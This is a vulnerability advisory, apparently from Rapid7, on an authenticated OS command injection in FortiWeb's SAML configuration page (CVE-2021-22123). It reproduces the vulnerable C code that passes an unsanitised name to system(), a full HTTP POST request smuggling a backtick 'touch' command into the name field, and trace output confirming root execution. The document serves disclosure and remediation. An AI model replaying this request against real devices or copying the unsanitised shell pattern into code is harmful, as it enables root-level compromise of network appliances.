Fortinet FortiWeb 授权命令注入漏洞(CVE-2021-22123)


# Fortinet FortiWeb OS Command Injection * Aug 17, 2021 * 5 min read An OS command injection vulnerability in FortiWeb's management interface (version 6.3.11 and prior) can allow a remote, authenticated attacker to execute arbitrary commands on the system, via the SAML server configuration page. This is an instance of [ CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')](https://cwe.mitre.org/data/definitions/78.html) and has a CVSSv3 base score of [8.7](https://nvd.nist.gov/vuln- metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N&version=3.1). This vulnerability appears to be related to CVE-2021-22123, which was addressed in [FG-IR-20-120](https://www.fortiguard.com/psirt/FG-IR-20-120). ## Product Description Fortinet FortiWeb is a web application firewall (WAF), designed to catch both known and unknown exploits targeting the protected web applications before they have a chance to execute. More about FortiWeb can be found at [the vendor's website](https://www.fortinet.com/products/web-application- firewall/fortiweb). ## Credit This issue was discovered by researcher [William Vu](https://twitter.com/wvuuuuuuuuuuuuu) of Rapid7. It is being disclosed in accordance with Rapid7's [vulnerability disclosure policy](https://www.rapid7.com/disclosure/). ## Exploitation An attacker, who is first authenticated to the management interface of the FortiWeb device, can smuggle commands using backticks in the "Name" field of the SAML Server configuration page. These commands are then executed as the root user of the underlying operating system. The affected code is noted below: ``` int move_metafile(char *path,char *name) { int iVar1; char buf [512]; int nret; snprintf(buf,0x200,"%s/%s","/data/etc/saml/shibboleth/service_providers",name); iVar1 = access(buf,0); if (iVar1 != 0) { snprintf(buf,0x200,"mkdir %s/%s","/data/etc/saml/shibboleth/service_providers",name); iVar1 = system(buf); if (iVar1 != 0) { return iVar1; } } snprintf(buf,0x200,"cp %s %s/%s/%s.%s",path,"/data/etc/saml/shibboleth/service_providers",name, "Metadata",&DAT_00212758); iVar1 = system(buf); return iVar1; } ``` The HTTP POST request and response below demonstrates an example exploit of this vulnerability: ``` POST /api/v2.0/user/remoteserver.saml HTTP/1.1 Host: [redacted] Cookie: [redacted] User-Agent: [redacted] Accept: application/json, text/plain, */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://[redacted]/root/user/remote-user/saml-user/ X-Csrftoken: 814940160 Content-Type: multipart/form-data; boundary=---------------------------94351131111899571381631694412 Content-Length: 3068 Origin: https://[redacted] Dnt: 1 Te: trailers Connection: close -----------------------------94351131111899571381631694412 Content-Disposition: form-data; name="q_type" 1 -----------------------------94351131111899571381631694412 Content-Disposition: form-data; name="name" `touch /tmp/vulnerable` -----------------------------94351131111899571381631694412 Content-Disposition: form-data; name="entityID" test -----------------------------94351131111899571381631694412 Content-Disposition: form-data; name="service-path" /saml.sso -----------------------------94351131111899571381631694412 Content-Disposition: form-data; name="session-lifetime" 8 -----------------------------94351131111899571381631694412 Content-Disposition: form-data; name="session-timeout" 30 -----------------------------94351131111899571381631694412 Content-Disposition: form-data; name="sso-bind" post -----------------------------94351131111899571381631694412 Content-Disposition: form-data; name="sso-bind_val" 1 -----------------------------94351131111899571381631694412 Content-Disposition: form-data; name="sso-path" /SAML2/POST -----------------------------94351131111899571381631694412 Content-Disposition: form-data; name="slo-bind" post -----------------------------94351131111899571381631694412 Content-Disposition: form-data; name="slo-bind_val" 1 -----------------------------94351131111899571381631694412 Content-Disposition: form-data; name="slo-path" /SLO/POST -----------------------------94351131111899571381631694412 Content-Disposition: form-data; name="flag" 0 -----------------------------94351131111899571381631694412 Content-Disposition: form-data; name="enforce-signing" disable -----------------------------94351131111899571381631694412 Content-Disposition: form-data; name="enforce-signing_val" 0 -----------------------------94351131111899571381631694412 Content-Disposition: form-data; name="metafile"; filename="test.xml" Content-Type: text/xml <?xml version="1.0"?> <md:EntityDescriptor xmlns:md="urn:oasis:names:tc:SAML:2.0:metadata" validUntil="2021-06-12T16:54:31Z" cacheDuration="PT1623948871S" entityID="test"> <md:IDPSSODescriptor WantAuthnRequestsSigned="false" protocolSupportEnumeration="urn:oasis:names:tc:SAML:2.0:protocol"> <md:KeyDescriptor use="signing"> <ds:KeyInfo xmlns:ds="http://www.w3.org/2000/09/xmldsig#"> <ds:X509Data> <ds:X509Certificate>test</ds:X509Certificate> </ds:X509Data> </ds:KeyInfo> </md:KeyDescriptor> <md:KeyDescriptor use="encryption"> <ds:KeyInfo xmlns:ds="http://www.w3.org/2000/09/xmldsig#"> <ds:X509Data> <ds:X509Certificate>test</ds:X509Certificate> </ds:X509Data> </ds:KeyInfo> </md:KeyDescriptor> <md:NameIDFormat>urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified</md:NameIDFormat> <md:SingleSignOnService Binding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-Redirect" Location="test"/> </md:IDPSSODescriptor> </md:EntityDescriptor> -----------------------------94351131111899571381631694412-- HTTP/1.1 500 Internal Server Error Date: Thu, 10 Jun 2021 11:59:45 GMT Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Set-Cookie: [redacted] X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block Content-Security-Policy: frame-ancestors 'self' X-Content-Type-Options: nosniff Content-Length: 20 Strict-Transport-Security: max-age=63072000 Connection: close Content-Type: application/json {"errcode": "-651"} ``` Note the smuggled 'touch' command is concatenated in the mkdir shell command: ``` [pid 12867] execve("/migadmin/cgi-bin/fwbcgi", ["/migadmin/cgi-bin/fwbcgi"], 0x55bb0395bf00 /* 42 vars */) = 0 [pid 13934] execve("/bin/sh", ["sh", "-c", "mkdir /data/etc/saml/shibboleth/service_providers/`touch /tmp/vulnerable`"], 0x7fff56b1c608 /* 42 vars */) = 0 [pid 13935] execve("/bin/touch", ["touch", "/tmp/vulnerable"], 0x55774aa30bf8 /* 44 vars */) = 0 [pid 13936] execve("/bin/mkdir", ["mkdir", "/data/etc/saml/shibboleth/service_providers/"], 0x55774aa30be8 /* 44 vars */) = 0 ``` Finally, the results of the 'touch' command can be seen on the local command line of the FortiWeb device: ``` /# ls -l /tmp/vulnerable -rw-r--r-- 1 root 0 0 Jun 10 11:59 /tmp/vulnerable /# ``` ## Impact An attacker can leverage this vulnerability to take complete control of the affected device, with the highest possible privileges. They might install a persistent shell, crypto mining software, or other malicious software. In the unlikely event the management interface is exposed to the internet, they could use the compromised platform to reach into the affected network beyond the DMZ. Note, though, Rapid7 researchers were only able to identify less than three hundred total of these devices that appear to be exposing their management interfaces to the general internet. Note that while authentication is a prerequisite for this exploit, this vulnerability could be combined with another authentication bypass issue, such as [CVE-2020-29015](https://attackerkb.com/topics/n8OdPI11Nx/cve-2020-29015). ## Remediation In the absence of a patch, users are advised to disable the FortiWeb device's management interface from untrusted networks, which would include the internet. Generally speaking, management interfaces for devices like FortiWeb should not be exposed directly to the internet anyway -- instead, they should be reachable only via trusted, internal networks, or over a secure VPN connection. ## Disclosure Timeline * June, 2021: Issue discovered and validated by William Vu of Rapid7 * Thu, Jun 10, 2021: Initial disclosure to the vendor via their [PSIRT Contact Form](https://www.fortiguard.com/faq/psirt-contact) * Fri, Jun 11, 2021: Acknowledged by the vendor (ticket 132097) * Wed, Aug 11, 2021: Follow up with the vendor * Tue, Aug 17, 2021: Public disclosure via [this post](https://www.rapid7.com/blog/post/2021/08/17/fortinet-fortiweb-os-command-injection/) * Tue, Aug 17, 2021: Vendor indicated that Fortiweb 6.4.1 is expected to include a fix, and will be released at the end of August